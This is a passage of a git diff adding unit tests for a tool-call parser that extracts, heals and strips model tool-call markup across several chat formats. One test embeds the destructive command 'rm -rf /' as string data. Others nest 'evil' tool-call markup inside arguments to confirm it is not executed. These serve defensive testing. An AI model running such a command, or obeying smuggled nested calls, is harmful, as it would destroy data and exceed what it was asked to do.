+    def test_single_line_python_tag_stripped(self):
+        # Floor: the original 5620 single-line behaviour still works.
+        text = '<|python_tag|>brave_search.call(query="weather")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_less_than_in_code(self):
+        # 5615 regression: a literal < inside code must NOT terminate the strip early.
+        text = '<|python_tag|>python.call(code="if x < 10: pass")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_code_stripped(self):
+        # 5620 round-1 regression: multi-line code's second line leaked.
+        text = '<|python_tag|>python.call(code="line1\nline2\nline3")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_with_less_than(self):
+        # Combined: multi-line code AND literal < in code.
+        text = (
+            '<|python_tag|>python.call(code="for i in range(10):\n'
+            "    if i < 5:\n"
+            '        print(i)")'
+        )
+        assert self._strip(text) == ""
+
+    def test_python_tag_stops_at_eom_sentinel(self):
+        # Strip stops at the next Llama-3 <| sentinel so trailing assistant content survives.
+        text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text"
+        assert self._strip(text) == "<|eom_id|>final answer text"
+
+    def test_python_tag_stops_at_eot_sentinel(self):
+        text = '<|python_tag|>brave_search.call(query="x")' "<|eot_id|>after"
+        assert self._strip(text) == "<|eot_id|>after"
+
+    def test_python_tag_json_form_multiline_stripped(self):
+        # The JSON form of python_tag with newlines inside string args.
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"a = 1\nb = 2\nprint(a+b)"}}'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_eom_then_trailing_python_tag(self):
+        # Two python_tag emissions back-to-back across a sentinel: both strip independently.
+        text = (
+            '<|python_tag|>brave_search.call(query="a")'
+            "<|eom_id|>"
+            '<|python_tag|>python.call(code="x=1")'
+        )
+        # <|eom_id|> between the two strips remains; both python_tag blocks are consumed.
+        assert self._strip(text) == "<|eom_id|>"
+
+
+# Robustness fixes uncovered while validating against vLLM / sglang.
+class TestParserRobustness:
+    def test_tool_call_json_accepts_parameters_key(self):
+        # Hermes wrapper using parameters instead of arguments; this path now accepts both keys.
+        import json
+
+        text = "<tool_call>\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"}
+
+    def test_function_xml_attribute_form(self):
+        # MiniCPM-5 / MiniMax-M2 attribute syntax: <function name="..."><param name="...">v</param></function>.
+        import json
+
+        text = '<function name="get_weather">' '<param name="city">Tokyo</param>' "</function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_xml_attribute_form_multi_param(self):
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            '<param name="unit">celsius</param>'
+            "</function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"city": "Tokyo", "unit": "celsius"}
+
+    def test_function_xml_legacy_equals_form_still_works(self):
+        # Regression guard: the old <function=name><parameter=k>v syntax must keep parsing after the regex broadening.
+        import json
+
+        text = "<function=get_weather><parameter=city>Tokyo</parameter></function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_form_has_tool_signal(self):
+        # The standalone <function name="..."> form must flip the streaming buffer, else the call is dropped.
+        assert has_tool_signal('<function name="get_weather">') is True
+
+    def test_function_attribute_form_strip_markup(self):
+        # The attribute form must also be stripped from displayed text, like <function=...>.
+        text = 'result <function name="g"><param name="c">X</param></function>'
+        assert strip_tool_markup(text, final = True) == "result"
+
+    def test_llama3_chat_template_round_trip(self):
+        # Llama-3.x prefixes assistant turns with <|start_header_id|>...<|end_header_id|>; the
+        # sentinel-strip must reach past the role label to the JSON body, else history calls drop.
+        import json
+
+        text = (
+            "<|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "get_weather", "parameters": {"city": "Tokyo"}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_llama3_round_trip_all_roles(self):
+        # Same logic must work for every role the chat template inserts.
+        import json
+        for role in ("assistant", "user", "system", "tool", "ipython"):
+            text = (
+                f"<|start_header_id|>{role}<|end_header_id|>\n\n"
+                '{"name": "f", "parameters": {"x": 1}}'
+            )
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"failed for role={role}"
+            assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_llama3_round_trip_with_eot_prefix(self):
+        # Prior turn closes with <|eot_id|>, then the new header opens; both sentinels + role must be consumed.
+        import json
+
+        text = (
+            "<|eot_id|><|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "f", "parameters": {}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "f"
+
+    def test_function_xml_followed_by_prose(self):
+        # Body must terminate at </function> even without a </tool_call> wrapper, else prose leaks into the value.
+        import json
+
+        text = (
+            "<function=get_weather>"
+            "<parameter=city>Tokyo</parameter>"
+            "</function>\n\nHere is what I found."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_xml_followed_by_prose(self):
+        # Same expectation for the MiniCPM-5 attribute form.
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            "</function>\n\nLet me know if you need anything else."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+def test_truncated_bare_json_at_eof_is_not_leaked():
+    # Stream ends mid bare-JSON: the held fragment must be dropped at EOF, not flushed as content.
+    loop, _exec = _make_loop(
+        turns = [['{"name":"web_search","parameters":{"query":"weather in S']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t for t in contents), contents
+
+
+def test_oversized_bare_json_call_is_not_leaked_and_executes():
+    # A bare-JSON call exceeding _MAX_BARE_JSON_BUFFER must DRAIN, not stream the prefix, and still execute.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2)
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1]
+    assert exec_fn.calls and exec_fn.calls[0][0] == "python"
+    assert len(exec_fn.calls[0][1].get("code", "")) > _MAX_BARE_JSON_BUFFER
+
+
+def test_oversized_plain_json_answer_still_streams():
+    # A giant plain JSON answer (no "name" key) is NOT a call and must still stream.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"result":"' + big + '"}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, _exec = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents
+
+
+def test_oversized_disabled_name_json_answer_still_streams():
+    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream, not drain.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    chunks = [answer[i : i + 2000] for i in range(0, len(answer), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents[:80]
+
+
+def test_truncated_disabled_name_json_is_shown_at_eof():
+    # A truncated JSON answer whose name is not an enabled tool must be shown at EOF.
+    truncated = '{"name":"Alice","parameters":{"age":'
+    loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_truncated_plain_json_with_nested_enabled_name_is_visible():
+    # A truncated answer with only a NESTED "name" must be shown: the gate uses the TOP-LEVEL name.
+    loop, exec_fn = _make_loop(
+        turns = [['{"result":{"name":"web_search","age":']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents and "web_search" in contents, contents
+
+
+def test_bare_json_call_not_replayed_in_next_turn_content():
+    # After a bare-JSON call executes, the next-turn assistant content must not contain the raw call.
+    captured: list[list[dict]] = []
+    exec_fn = FakeExecuteTool(["RESULT"])
+
+    def st(messages, active_tools = None):
+        captured.append([dict(m) for m in messages])
+        if len(captured) == 1:
+            yield '{"name":"web_search","parameters":{"query":"cats"}}'
+        else:
+            yield "Found."
+
+    _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 3,
+        )
+    )
+    assert len(captured) >= 2, captured
+    asst = [m for m in captured[1] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
 if __name__ == "__main__":
     pytest.main([__file__, "-v"])
+
+
+def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
+    # With Auto-Heal OFF a truncated enabled-name bare-JSON fragment stays visible; with it ON, suppressed.
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+    off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False)
+    events_off = _collect_events(off)
+    assert exec_off.calls == [], exec_off.calls
+    contents_off = "".join(e["text"] for e in events_off if e["type"] == "content")
+    assert "web_search" in contents_off, contents_off
+
+    on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True)
+    events_on = _collect_events(on)
+    assert exec_on.calls == [], exec_on.calls
+    contents_on = "".join(e["text"] for e in events_on if e["type"] == "content")
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_looks_like_enabled_bare_json_accepts_function_alias():
+    # The buffering gate must recognise the "function" bare-JSON alias, so it is buffered, not streamed.
+    from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+
+    enabled = {"web_search"}
+    assert _looks_like_enabled_bare_json(
+        '{"function":"web_search","parameters":{"q":"x"}}', enabled
+    )
+    # A non-tool "function" value is an ordinary JSON answer -> not gated.
+    assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled)
+
+
+class TestFalseAlarmMarkerProse:
+    def test_leading_marker_prose_streams_intact(self):
+        # An answer starting with a literal marker is a false alarm: the full prose must reach the client.
+        text = "[TOOL_CALLS] is the Mistral tool marker. More prose after."
+        loop, exec_fn = _make_loop(turns = [[text]])
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert texts and texts[-1] == text
+
+    def test_chained_bare_json_calls_not_replayed_in_history(self):
+        # Both chained calls execute; the next-turn history must not contain the second call's raw JSON.
+        chained = (
+            '{"name":"web_search","parameters":{"q":"first"}};'
+            '{"name":"python","parameters":{"code":"x"}}'
+        )
+        convs = []
+        turn_iter = iter([[chained], ["Final answer."]])
+
+        def gen(messages, active_tools = None):
+            convs.append([dict(m) for m in messages])
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool(["r1", "r2"])
+        loop = run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [
+                {"type": "function", "function": {"name": "web_search"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search", "python"]
+        assistant = next(m for m in convs[1] if m["role"] == "assistant")
+        assert '"python"' not in (assistant.get("content") or "")
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 39fdd151be..7664126d91 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -102,6 +102,22 @@ class TestFunctionStyleTrailingText:
         text = "<function=web_search><parameter=query>weather london</function>"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_attribute_form_literal_close_tag_is_preserved(self):
+        # Attribute form ends at the LAST </function>, so a literal close inside code survives.
+        text = (
+            '<function name="python"><param name="code">'
+            'print("</function>")'
+            "</param></function> all done"
+        )
+        call = _only(text)
+        assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
+
+    def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self):
+        # A closed zero-param call is valid; strict mode must not treat it as truncated.
+        assert _only('<function name="ping"></function>') == {"name": "ping", "arguments": {}}
+        # A no-arg call that never closes is still rejected as truncated.
+        assert parse_tool_calls_from_text('<function name="ping">', allow_incomplete = False) == []
+
 
 class TestParityWithJsonStyle:
     def test_json_tool_call_with_trailing_prose_is_accepted(self):
@@ -176,6 +192,37 @@ class TestGemmaNativeStyle:
         }
 
 
+class TestLlama3PythonTagStrict:
+    def test_closed_dot_call_is_accepted(self):
+        text = '<|python_tag|>get_weather.call(location="Tokyo")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"location": "Tokyo"}
+
+    def test_truncated_dot_call_is_rejected(self):
+        # No closing paren (depth > 0 at EOF): truncated, reject in strict mode.
+        text = '<|python_tag|>get_weather.call(location="Tokyo"'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers it.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestMistralArrayStrict:
+    def test_closed_array_is_accepted(self):
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}]'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+
+    def test_unclosed_array_is_rejected(self):
+        # Missing the closing ]; strict mode must not heal it.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers the object by hand.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
 class TestHealingPathUnaffected:
     def test_auto_heal_still_repairs_unclosed_function(self):
         text = "<function=web_search><parameter=query>cats"
@@ -197,3 +244,822 @@ class TestHealingPathUnaffected:
         assert text[span[0] : span[1]] == (
             "<function=web_search><parameter=query>cats</parameter></function>"
         )
+
+    def test_wrapperless_fallback_calls_carry_spans(self):
+        # The wrapperless fallback must report spans so consumers strip exactly the markup.
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        closed = "before <function=web_search><parameter=query>cats</parameter></function> after"
+        calls, spans = parse_with_spans(closed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert closed[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+        healed = "x <function=web_search><parameter=query>dogs"
+        calls, spans = parse_with_spans(healed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "dogs"}
+        (span,) = spans
+        assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
+
+
+class TestParserLinearity:
+    """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies)."""
+
+    def test_llama3_unterminated_call_arg_is_linear(self):
+        import time
+
+        text = '<|python_tag|>upload.call(data="' + "A" * 200_000  # no closing quote/paren
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_llama3_huge_wordrun_call_arg_is_linear(self):
+        import time
+
+        text = "<|python_tag|>upload.call(" + "a" * 200_000  # giant word run, no '='
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_mistral_unclosed_array_open_braces_is_linear(self):
+        import time
+
+        text = "[TOOL_CALLS] [" + "{" * 200_000  # unclosed array, all open braces
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_llama3_call_kwargs_still_parse(self):
+        text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "s": "hi 😀",
+            "n": 42,
+            "f": 1.5,
+            "b": True,
+            "z": None,
+        }
+
+    def test_llama3_call_scientific_notation_args_parse(self):
+        # Scientific notation must decode as float (the old regex truncated 1e-3 -> 1).
+        text = "<|python_tag|>calc.call(x=1e-3, y=-2E+4, z=0.5e2, n=42)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"x": 1e-3, "y": -2e4, "z": 50.0, "n": 42}
+        assert isinstance(args["n"], int) and isinstance(args["x"], float)
+
+    def test_mistral_unclosed_array_recovers_top_level_objects(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"k":1}},'
+            '{"name":"b","arguments":{"j":2}}'  # missing closing ]
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+
+
+class TestLlamaBuiltinChainAndNesting:
+    """Llama-3 ``.call`` built-ins: ``; `` chaining and nested-tag isolation."""
+
+    def test_semicolon_chained_builtin_calls_all_parse(self):
+        # Only the first call is anchored to <|python_tag|>; the rest chain via ';'.
+        text = "<|python_tag|>alpha.call(x=1); beta.call(y=2); gamma.call(z=3)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["alpha", "beta", "gamma"]
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_nested_python_tag_in_json_string_arg_is_not_a_call(self):
+        # A <|python_tag|> literal inside a code arg is data: the outer "python" call wins.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}'
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "python"
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<|python_tag|>os.call('rm -rf /')"
+
+    def test_single_builtin_call_unchanged(self):
+        text = '<|python_tag|>web_search.call(query="cats")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+
+def test_strip_leading_bare_json_call_drops_complete_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept.
+    assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == ""
+    assert (
+        strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done"
+    )
+
+
+def test_strip_leading_bare_json_call_drops_truncated_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A truncated call (no closing brace) collapses to "" -- nothing recoverable.
+    assert (
+        strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S')
+        == ""
+    )
+
+
+def test_strip_leading_bare_json_call_preserves_plain_json_and_prose():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # No "name" key -> plain JSON answer, left untouched.
+    assert (
+        strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}'
+    )
+    # Prose before the brace -> not a leading bare call, untouched.
+    assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}'
+    # Ordinary text untouched.
+    assert strip_leading_bare_json_call("just a sentence.") == "just a sentence."
+
+
+def test_bare_json_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    real = '{"name":"web_search","parameters":{"query":"cats"}}'
+    # With an enabled set, markerless JSON whose name is not a tool is NOT a call.
+    assert parse_tool_calls_from_text(alice, enabled_tool_names = {"web_search"}) == []
+    # A real call (enabled name) still parses.
+    got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in got] == ["web_search"]
+    # No enabled set (None) keeps the name-agnostic behaviour for direct callers.
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"]
+    # Marker-based forms are NOT gated (an explicit signal is a real call attempt).
+    xml = '<tool_call>{"name":"Alice","arguments":{}}</tool_call>'
+    assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"})
+
+
+def test_strip_leading_bare_json_call_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    # Not an enabled tool -> ordinary JSON answer, kept verbatim.
+    assert strip_leading_bare_json_call(alice, {"web_search"}) == alice
+    # Enabled tool -> a real call, stripped (trailing prose kept).
+    assert (
+        strip_leading_bare_json_call(
+            '{"name":"web_search","parameters":{"q":1}} hi', {"web_search"}
+        )
+        == "hi"
+    )
+
+
+def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Strip uses the LAST </function> so a literal in a value survives; calls strip independently.
+    text = '<function=python><parameter=code>print("</function>")</parameter></function> done'
+    assert strip_tool_markup(text, final = True) == "done"
+    two = (
+        "a <function=f><parameter=x>1</parameter></function> mid "
+        "<function=g><parameter=y>2</parameter></function> end"
+    )
+    assert strip_tool_markup(two, final = True) == "a  mid  end"
+
+
+def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup
+
+    # A literal <function=x> opener inside a value is data: the strip keeps " done".
+    text = '<function=python><parameter=code>print("<function=x>")</parameter></function> done'
+    assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
+    assert strip_tool_markup(text, final = True) == "done"
+    # Non-final (streaming) keeps an unclosed call buffered, does not eat prose early.
+    open_text = 'pre <function=python><parameter=code>print("<function=x>")'
+    assert strip_tool_markup(open_text, final = False) == open_text
+
+
+def test_final_strip_removes_magistral_think_reasoning():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Magistral reasoning is [THINK]...[/THINK]; end-of-turn must drop it.
+    text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?"
+    assert strip_tool_markup(text, final = True) == "Hello! How can I help?"
+    # A [TOOL_CALLS] living inside the reasoning goes with it.
+    with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}'
+    assert strip_tool_markup(with_call, final = True) == ""
+
+
+def test_streaming_strip_keeps_magistral_think_buffered():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Mid-stream (final=False) leaves the reasoning block intact; only end-of-turn removes it.
+    text = "[THINK]still thinking"
+    assert strip_tool_markup(text, final = False) == text
+
+
+def test_final_strip_leaves_non_magistral_bracket_text_untouched():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # Only a LEADING [THINK] block is reasoning; unrelated bracketed prose stays.
+    text = "See [THINK about it] later"
+    assert strip_tool_markup(text, final = True) == "See [THINK about it] later"
+
+
+def test_strip_leading_bare_json_call_ignores_nested_name():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A nested "name" must NOT gate the strip; the JSON answer is kept verbatim.
+    nested_trunc = '{"result":{"name":"web_search","age":'
+    nested_full = '{"result":{"name":"web_search","age":1}}'
+    assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc
+    assert strip_leading_bare_json_call(nested_full, {"web_search"}) == nested_full
+    # A real top-level call (even with a top-level array before the name) still strips.
+    assert (
+        strip_leading_bare_json_call(
+            '{"data":[1,2],"name":"web_search","parameters":{}}', {"web_search"}
+        )
+        == ""
+    )
+
+
+def test_mistral_single_object_call_is_stripped_for_display():
+    from core.inference.tool_call_parser import (
+        _strip_mistral_closed_calls,
+        parse_tool_calls_from_text,
+    )
+
+    # The parser accepts single-object [TOOL_CALLS]{...}, so the strip must remove it too.
+    text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail'
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"]
+    assert _strip_mistral_closed_calls(text) == " tail"
+    # A literal [TOOL_CALLS] in prose (no following object) is left untouched.
+    assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs"
+
+
+def test_tool_call_parser_declares_future_annotations_for_py39_import():
+    # PEP 604 X | None annotations need `from __future__ import annotations` on py3.9; guard it stays.
+    from pathlib import Path
+    src = (
+        Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py"
+    ).read_text()
+    assert "from __future__ import annotations" in src
+
+
+def test_bare_json_function_alias_parses_and_strips_symmetrically():
+    # The "function" alias for the call name must parse and strip symmetrically.
+    from core.inference.tool_call_parser import (
+        parse_tool_calls_from_text,
+        strip_leading_bare_json_call,
+        _top_level_bare_json_name,
+    )
+
+    enabled = {"web_search"}
+    text = '{"function":"web_search","parameters":{"query":"cats"}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = enabled)
+    assert [c["function"]["name"] for c in calls] == ["web_search"]
+    assert strip_leading_bare_json_call(text, enabled) == ""
+
+    # "name" still takes precedence when both are present; nested aliases are data.
+    assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search"
+    assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None
+    # A non-enabled function-alias object is ordinary content and is preserved.
+    assert (
+        strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled)
+        == '{"function":"not_a_tool","parameters":{}}'
+    )
+
+
+class TestMistralOuterOverXmlLiteral:
+    """Quoted tool XML inside a [TOOL_CALLS] call's arguments is data; the outer call executes. Reverse order keeps the XML."""
+
+    def test_mistral_v11_arg_quoting_function_xml(self):
+        text = (
+            '[TOOL_CALLS]web_search[ARGS]{"query":"literal '
+            '<function=evil><parameter=x>1</parameter></function>"}'
+        )
+        for strict in (True, False):
+            calls = parse_tool_calls_from_text(text, allow_incomplete = not strict)
+            assert [c["function"]["name"] for c in calls] == ["web_search"]
+            assert "<function=evil>" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_mistral_array_arg_quoting_tool_call_json(self):
+        text = (
+            '[TOOL_CALLS][{"name":"web_search","arguments":{"query":'
+            '"see <tool_call>{\\"name\\":\\"evil\\"}</tool_call>"}}]'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_outer_keeps_winning_over_mistral_literal(self):
+        text = (
+            '<tool_call>{"name":"web_search","arguments":'
+            '{"query":"docs say [TOOL_CALLS]evil[ARGS]{}"}}</tool_call>'
+        )
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+
+class TestHealerSignalAlignment:
+    """The healer buffers only promotable formats; Mistral/Llama text calls stream through."""
+
+    def test_heal_signals_subset_of_promotable_formats(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {"<tool_call>", "<|tool_call>", "<function="}
+
+    def test_stream_healer_does_not_hold_mistral_text(self):
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        healer = StreamToolCallHealer(
+            {"web_search"},
+            [{"type": "function", "function": {"name": "web_search", "parameters": {}}}],
+        )
+        events = list(healer.feed('[TOOL_CALLS]web_search[ARGS]{"query":"cats"}'))
+        text_out = "".join(v for k, v in events if k == "text")
+        assert "[TOOL_CALLS]" in text_out  # streamed through, not buffered
+        assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize())
+
+
+class TestPythonTagLiteralInsideMistralArgs:
